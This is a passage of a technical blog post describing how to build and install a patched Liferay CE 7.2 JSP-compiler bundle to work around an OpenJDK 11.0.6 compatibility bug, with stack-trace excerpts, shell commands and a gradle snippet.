class=&quot;mtk12&quot;&gt;JspServletWrapper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;375&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;serviceJspFile&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;473&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;377&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;eclipse&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;equinox&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;internal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;RequestDispatcherAdaptor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;RequestDispatcherAdaptor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;deployment&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;ROOT&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;war&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;//com.liferay.portlet.internal.PortletRequestDispatcherImpl.dispatch(PortletRequestDispatcherImpl.java:291)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	... &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;165&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;more&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;Caused&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; by: &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;RuntimeException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;NullPointerException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;entry&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - PWC6033 error excerpt for JSP compilation&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;After some research I discovered that the error is due to a bug (again open) on
&lt;strong&gt;OpenJDK 11.0.6&lt;/strong&gt; [JDK-8237875 (zipfs) Directory Stream entries changed behavior between JDK 11.0.5 and JDK 11.0.6](&lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-&quot;&gt;https://bugs.openjdk.java.net/browse/JDK-&lt;/a&gt; 8237875)&lt;/p&gt;&lt;p&gt;Liferay for its part has taken steps to resolve, even quickly, through
&lt;a href=&quot;https://issues.liferay.com/browse/LPS-107983&quot;&gt;LPS-107983 - OpenJDK 11.0.6 compatibility problem&lt;/a&gt;.
This LPS is already closed and solves the problem on the 7.x and master branches.&lt;/p&gt;&lt;p&gt;How can we patch the LPS without waiting for the new GA to come out?&lt;/p&gt;&lt;p&gt;The possible solutions are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Downgrade OpenJDK to version 11.0.5;&lt;/li&gt;&lt;li&gt;If we have the DXP we are in a position to request support directly from Liferay;&lt;/li&gt;&lt;li&gt;If we have the CE we can apply the patch autonomously.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The first way is not always viable due to the fact that most of the
Sometimes the JDK update is one of those components whose
update is centralized and we have therefore little room for maneuver.&lt;/p&gt;&lt;p&gt;The second route is easy to follow and usually in a few days
gets the Hot Fix.&lt;/p&gt;&lt;p&gt;In order not to miss anything, I would say to choose the third way, which is
the most interesting one.&lt;/p&gt;&lt;h2 id=&quot;1-how-to-apply-the-patch&quot;&gt;1. How to apply the patch&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s see how it is possible and simple to apply the patch to Liferay Portal CE.
The reference version is Liferay CE Portal 7.2.1 GA2.&lt;/p&gt;&lt;p&gt;How can we apply our Hot Fix also on the CE? The answer
it&amp;#x27;s really simple: &lt;a href=&quot;https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/overriding-lpkg-files&quot;&gt;Overriding lpkg files&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The bundle we need to patch to (&lt;a href=&quot;https://patch-diff.githubusercontent.com/raw/brianchandotcom/liferay-portal/pull/84189.patch&quot;&gt;https://patch-diff.githubusercontent.com/raw/brianchandotcom/liferay-portal/pull/84189.patch&lt;/a&gt;) 84189
is &lt;strong&gt;Liferay Portal OSGi Web Servlet JSP Compiler&lt;/strong&gt; (&lt;a href=&quot;https://repo1.maven.org/maven2/com/liferay/com.liferay.portal.osgi.web.servlet.jsp.compiler/4.0.14/&quot;&gt;com.liferay.portal.osgi.web.servlet.jsp.compiler&lt;/a&gt;)
which is part of the LPKG Liferay CE Static - Impl.lpkg. In this case we can then apply the
&lt;strong&gt;Overriding lpkg files&lt;/strong&gt;, even to the &lt;strong&gt;Static&lt;/strong&gt; ones.&lt;/p&gt;&lt;p&gt;The procedure to follow is:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Create the jar format bundle containing the patch;&lt;/li&gt;&lt;li&gt;The bundle name must be the same as the original, minus the version information;&lt;/li&gt;&lt;li&gt;Copy the bundle .jar file to the &lt;code&gt;$LIFERAY_HOME/osgi/static&lt;/code&gt; folder;&lt;/li&gt;&lt;li&gt;Remove the contents of the &lt;code&gt;$LIFERAY_HOME/osgi/state&lt;/code&gt; directory;&lt;/li&gt;&lt;li&gt;Launch Liferay Portal. Note that every time they add and remove
.jars like this, you need to close and restart Liferay Portal for
make the changes effective.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;If you need to restore your customizations, delete the .jar files
replacement: Liferay Portal will use the original .jar file to the next
start.&lt;/p&gt;&lt;p&gt;It all seems very clear!&lt;/p&gt;&lt;p&gt;How do we create the new bundle that will contain the LPS-107983 patch?
We will see this in the next chapter.&lt;/p&gt;&lt;h2 id=&quot;2-how-to-create-the-bundle-with-the-patch&quot;&gt;2. How to create the bundle with the patch&lt;/h2&gt;&lt;p&gt;To create the new bundle you need the sources and to get them they exist
essentially two ways which are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Clone of the sources of Liferay Portal 7.2.1 GA1 from the &lt;a href=&quot;https://github.com/liferay/liferay-portal&quot;&gt;GitHub repository&lt;/a&gt;;&lt;/li&gt;&lt;li&gt;Obtain the sources from the Maven repository &lt;a href=&quot;https://repo1.maven.org/maven2/com/liferay/com.liferay.portal.osgi.web.servlet.jsp.compiler/4.0.14/&quot;&gt;com.liferay.portal.osgi.web.servlet.jsp.compiler&lt;/a&gt; version 4.0.14.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The choice of the first road could take a long time because of the
clone of the repository which even if executed with the &lt;code&gt;--depth 1&lt;/code&gt; option takes some time.&lt;/p&gt;&lt;p&gt;Personally I chose the second path, which in a few minutes will allow us to
get the bundle with the patch. To follow all the necessary steps (and not necessary
no IDE). Here is the list of macro tasks:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Creation of a Liferay Workspace via blade;&lt;/li&gt;&lt;li&gt;Creating the directory structure for the &lt;code&gt;portal-osgi-web-servlet-jsp-compiler&lt;/code&gt; module;&lt;/li&gt;&lt;li&gt;Copy the sources from the bundle jar downloaded from the Maven repository into the module on Liferay Workspace;&lt;/li&gt;&lt;li&gt;Download the bnd.bnd from the Liferay GitHub repository and place it on the root of the module;&lt;/li&gt;&lt;li&gt;Download the build.gradle from Liferay&amp;#x27;s GitHub repository and place it on the module root;&lt;/li&gt;&lt;li&gt;Modify the build.gradle to add FileUtil (com.liferay.gradle.util.FileUtil);&lt;/li&gt;&lt;li&gt;Apply the patch 84189;&lt;/li&gt;&lt;li&gt;Build the module;&lt;/li&gt;&lt;li&gt;Make sure the portal is turned off;&lt;/li&gt;&lt;li&gt;Install the module in &lt;code&gt;$LIFERAY_HOME/osgi/static&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;Start the portal.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The set of commands shown below carry out steps 1 to 5. If you want
save this time too, then you can draw directly on
repository that I have prepared for
you &lt;a href=&quot;https://github.com/smclab/apply-lps-107983-openjdk-11-0-6&quot;&gt;https://github.com/smclab/apply-lps-107983-openjdk-11-0-6&lt;/a&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir ~/apply-lps-107983-openjdk-11-0-6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ~/apply-lps-107983-openjdk-11-0-6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ blade init -v 7.2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir -p src/main/java&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir -p src/main/resources&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; src/main/java&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ curl https://repo1.maven.org/maven2/com/liferay/com.liferay.portal.osgi.web.servlet.jsp.compiler/4.0.14/com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.14-sources.jar | jar xv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ rm -rf META-INF/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mv javax ../resources&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ curl -L -O https://github.com/liferay/liferay-portal/raw/7.2.1-ga2/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/bnd.bnd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ curl -L -O build.gradle https://github.com/liferay/liferay-portal/raw/7.2.1-ga2/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 2 - Steps needed to prepare the patch bundle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Step 6 requires editing the build.gradle file, this is necessary
so that you do not get the error shown below.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;Could not compile build file &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/Users/antoniomusarra/Progetti/MyProjects/Liferay/sources/apply-lps-107983-openjdk-11-0-6/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; startup failed:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  build file &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/Users/antoniomusarra/Progetti/MyProjects/Liferay/sources/apply-lps-107983-openjdk-11-0-6/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: 1: unable to resolve class com.liferay.gradle.util.FileUtil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   @ line 1, column 1.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;     import com.liferay.gradle.util.FileUtil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;     ^&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 3 - Compilation error before modification of build.gradle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;To avoid the error, the content must be added to the build.gradle file
shown below.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;gradle&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;buildscript {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   dependencies {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      classpath group: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, name: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.gradle.util&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, version: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;1.0.36&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   repositories {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      maven {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;         url &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://repository-cdn.liferay.com/nexus/content/groups/public&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Listing 1 - Modifying the build.gradle to add the required dependency&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point we are in a position to apply the patch in the following
way.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ~/apply-lps-107983-openjdk-11-0-6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ curl -O https://patch-diff.githubusercontent.com/raw/brianchandotcom/liferay-portal/pull/84189.patch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git apply --verbose 84189.patch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 4 - Patching the Liferay sources of the affected bundle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;If everything goes as it should, you should see an output similar to the one shown
in the following figure.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/68910343e7cab37710b9fa8206c4f7c2/eec88/applicazione-patch-bundle-liferay.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:15.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;62\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2062\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2031v31h401V0h-3l-4%202v7l-2-3-1-5-3-1c-3%200-3%200-2%201%202%202%201%203-1%203s-3-1-3-2l-1-2-2%202-1%202V2l-1-2-1%202-1%203V2c0-2-1-2-3-2s-2%200-1%201c3%202%202%203-1%203s-4-1-4-2c0-2-2-3-4%200v1c2%200%201%202-1%202-3%200-3%200-3-3V0l-1%202c-1%203-6%204-7%202h-1l-1%201-1-2c1-1%200-2-1-2h-1v4a375%20375%200%2000-29%202h-1c0-3-32-3-32-1s-3%203-4%203c-1-1%201-3%202-2l1-1-8-1c-9%200-12-1-10-4%201-1-3-1-22-1-22%200-23%200-23%202l-2%202-2-1h-7c0-1%201-2%204-2l-24-1h-28v2c1%203%203%203-80%203-45%200-48%200-48%202h2c1%200%200%202-2%202l-1-2c0-2-1-2-8-2l-5%201h-1L9%205C2%205%202%204%201%202L0%2031m0%201c0%2017%200%2030%201%2029l80-1c79%200%2080-1%2080-2%200-2-1-3-73-3a1026%201026%200%2001-69-3h-7c-3%200-2%202%202%202%201%201-2%201-6%201H1v-4c0-4%200-4%202-3h4c1-2%201-2-1-2-4%201-5%200-5-4v-4h8c-1-1-1-2-6-2l-2-1%203-1%205-1c1-2%200-2-3-2l-5%201v-5l1-5v-1l-1-1%204-1%203-1h2c0-2-1-2-4-2-4%201-5%200-5-1s1-2%202-1l2-1c0-2-1-2-2-2-1%201-2%200-2-1s0-2%201-1h4c2-1%202-1%201-2H5C3%208%201%206%201%203%200%202%200%2014%200%2032m291%2023c-26%200-29%201-27%204l27%201c22%200%2026%200%2025-1v-3c2-1%201-2-25-1m49%201c-1%203%201%204%2011%204%2011%200%2011%200%2011-2l1-3h-11l-12%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/68910343e7cab37710b9fa8206c4f7c2/c85cb/applicazione-patch-bundle-liferay.webp 300w,/static/68910343e7cab37710b9fa8206c4f7c2/e88ff/applicazione-patch-bundle-liferay.webp 600w,/static/68910343e7cab37710b9fa8206c4f7c2/92f8c/applicazione-patch-bundle-liferay.webp 1200w,/static/68910343e7cab37710b9fa8206c4f7c2/62ed8/applicazione-patch-bundle-liferay.webp 1800w,/static/68910343e7cab37710b9fa8206c4f7c2/46261/applicazione-patch-bundle-liferay.webp 2400w,/static/68910343e7cab37710b9fa8206c4f7c2/d3d72/applicazione-patch-bundle-liferay.webp 2880w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/68910343e7cab37710b9fa8206c4f7c2/f93b5/applicazione-patch-bundle-liferay.jpg 300w,/static/68910343e7cab37710b9fa8206c4f7c2/b4294/applicazione-patch-bundle-liferay.jpg 600w,/static/68910343e7cab37710b9fa8206c4f7c2/e5166/applicazione-patch-bundle-liferay.jpg 1200w,/static/68910343e7cab37710b9fa8206c4f7c2/d9c39/applicazione-patch-bundle-liferay.jpg 1800w,/static/68910343e7cab37710b9fa8206c4f7c2/df51d/applicazione-patch-bundle-liferay.jpg 2400w,/static/68910343e7cab37710b9fa8206c4f7c2/eec88/applicazione-patch-bundle-liferay.jpg 2880w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 1 - Patch application to the Liferay sources of the bundle affected by the bug&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/68910343e7cab37710b9fa8206c4f7c2/e5166/applicazione-patch-bundle-liferay.jpg&quot; title=&quot;Figure 1 - Patch application to the Liferay sources of the bundle affected by the bug&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 1 - Patch application to the Liferay sources of the bundle affected by the bug&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Once applied we can proceed with the build of the bundle using the
